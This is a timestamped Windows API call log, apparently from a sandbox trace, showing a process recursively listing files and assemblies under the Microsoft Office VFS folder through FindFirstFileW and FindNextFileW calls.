	[0078.676] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xaec0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mfc140kor.dll", cAlternateFileName="MFBB77~1.DLL")) returned 1
	[0078.676] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6aa3169, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6aa3169, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6aa3169, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf860, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mfc140rus.dll", cAlternateFileName="MF5D55~1.DLL")) returned 1
	[0078.677] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0dcc568, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0dcc568, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2e67974c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x43aad0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mfc140u.dll", cAlternateFileName="")) returned 1
	[0078.677] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9bf4d66, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9bf4d66, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9e0ae4d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15268, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mfcm140.dll", cAlternateFileName="")) returned 1
	[0078.677] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc646a83, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc646a83, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc646a83, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14cc8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mfcm140u.dll", cAlternateFileName="")) returned 1
	[0078.677] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b6194c4, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b6194c4, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c2c3dcb, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0xa1880, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mscomct2.ocx", cAlternateFileName="")) returned 1
	[0078.677] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x624ad43, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x624ad43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x624ad43, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x69658, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msvcp140.dll", cAlternateFileName="")) returned 1
	[0078.677] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf158c060, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf158c060, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1697068, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3eec8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vccorlib140.dll", cAlternateFileName="VCCORL~1.DLL")) returned 1
	[0078.677] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc51578a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc51578a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc646a83, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12e58, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 1
	[0078.678] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc51578a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc51578a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc646a83, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12e58, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 0
	[0078.678] FindClose (in: hFindFile=0x5e08b0 | out: hFindFile=0x5e08b0) returned 1
	[0078.678] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0078.678] FindNextFileW (in: hFindFile=0x5e04b0, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1
	[0078.679] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\*", lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5e08b0
	[0078.679] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0078.679] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="assembly", cAlternateFileName="")) returned 1
	[0078.679] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\*", lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e03b0
	[0078.680] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.680] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GAC_64", cAlternateFileName="")) returned 1
	[0078.680] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_64\\*", lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5e02f0
	[0078.680] FindNextFileW (in: hFindFile=0x5e02f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0078.680] FindNextFileW (in: hFindFile=0x5e02f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Office.Access.BusinessDataCatalog", cAlternateFileName="MICROS~1.BUS")) returned 1
	[0078.681] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_64\\Microsoft.Office.Access.BusinessDataCatalog\\*", lpFindFileData=0x325e918 | out: lpFindFileData=0x325e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e0a30
	[0078.681] FindNextFileW (in: hFindFile=0x5e0a30, lpFindFileData=0x325e918 | out: lpFindFileData=0x325e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.681] FindNextFileW (in: hFindFile=0x5e0a30, lpFindFileData=0x325e918 | out: lpFindFileData=0x325e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 1
	[0078.681] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_64\\Microsoft.Office.Access.BusinessDataCatalog\\16.0.0.0__71E9BCE111E9429C\\*", lpFindFileData=0x325e69c | out: lpFindFileData=0x325e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5e0530
	[0078.681] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325e69c | out: lpFindFileData=0x325e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0078.681] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325e69c | out: lpFindFileData=0x325e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6165f55, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x296f0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Office.Access.BusinessDataCatalog.DLL", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0078.682] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325e69c | out: lpFindFileData=0x325e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6165f55, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x296f0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Office.Access.BusinessDataCatalog.DLL", cAlternateFileName="MICROS~1.DLL")) returned 0
	[0078.682] FindClose (in: hFindFile=0x5e0530 | out: hFindFile=0x5e0530) returned 1
	[0078.682] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.682] FindNextFileW (in: hFindFile=0x5e0a30, lpFindFileData=0x325e918 | out: lpFindFileData=0x325e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 0
	[0078.682] FindClose (in: hFindFile=0x5e0a30 | out: hFindFile=0x5e0a30) returned 1
	[0078.682] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ae648 | out: hHeap=0x4f0000) returned 1
	[0078.682] FindNextFileW (in: hFindFile=0x5e02f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Office.Access.BusinessDataCatalog", cAlternateFileName="MICROS~1.BUS")) returned 0
	[0078.682] FindClose (in: hFindFile=0x5e02f0 | out: hFindFile=0x5e02f0) returned 1
	[0078.682] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0078.684] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GAC_MSIL", cAlternateFileName="")) returned 1
	[0078.684] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\*", lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5e0970
	[0078.732] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0078.733] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a30a43, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a30a43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a56cbe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.AnalysisServices.AdomdClient", cAlternateFileName="MICROS~1.ADO")) returned 1
	[0078.734] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.AnalysisServices.AdomdClient\\*", lpFindFileData=0x325e918 | out: lpFindFileData=0x325e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a30a43, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a30a43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a56cbe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e08f0
	[0078.761] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325e918 | out: lpFindFileData=0x325e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a30a43, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a30a43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a56cbe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.761] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325e918 | out: lpFindFileData=0x325e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a56cbe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a56cbe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a56cbe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="11.0.0.0__89845DCD8080CC91", cAlternateFileName="1100~1.0__")) returned 1
	[0078.762] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.AnalysisServices.AdomdClient\\11.0.0.0__89845DCD8080CC91\\*", lpFindFileData=0x325e69c | out: lpFindFileData=0x325e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a56cbe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a56cbe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a56cbe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5e09b0
	[0078.762] FindNextFileW (in: hFindFile=0x5e09b0, lpFindFileData=0x325e69c | out: lpFindFileData=0x325e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a56cbe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a56cbe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a56cbe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0078.762] FindNextFileW (in: hFindFile=0x5e09b0, lpFindFileData=0x325e69c | out: lpFindFileData=0x325e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6a56cbe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a56cbe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a56cbe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xafe30, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.AnalysisServices.AdomdClient.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0078.762] FindNextFileW (in: hFindFile=0x5e09b0, lpFindFileData=0x325e69c | out: lpFindFileData=0x325e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6a56cbe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a56cbe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a56cbe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xafe30, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.AnalysisServices.AdomdClient.dll", cAlternateFileName="MICROS~1.DLL")) returned 0
	[0078.762] FindClose (in: hFindFile=0x5e09b0 | out: hFindFile=0x5e09b0) returned 1
	[0078.762] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.762] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325e918 | out: lpFindFileData=0x325e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a56cbe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a56cbe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a56cbe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="11.0.0.0__89845DCD8080CC91", cAlternateFileName="1100~1.0__")) returned 0
	[0078.762] FindClose (in: hFindFile=0x5e08f0 | out: hFindFile=0x5e08f0) returned 1
	[0078.763] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ae648 | out: hHeap=0x4f0000) returned 1
	[0078.763] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd2face, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd2face, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd2face, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.AnalysisServices.SPClient.Interfaces", cAlternateFileName="MICROS~2.INT")) returned 1
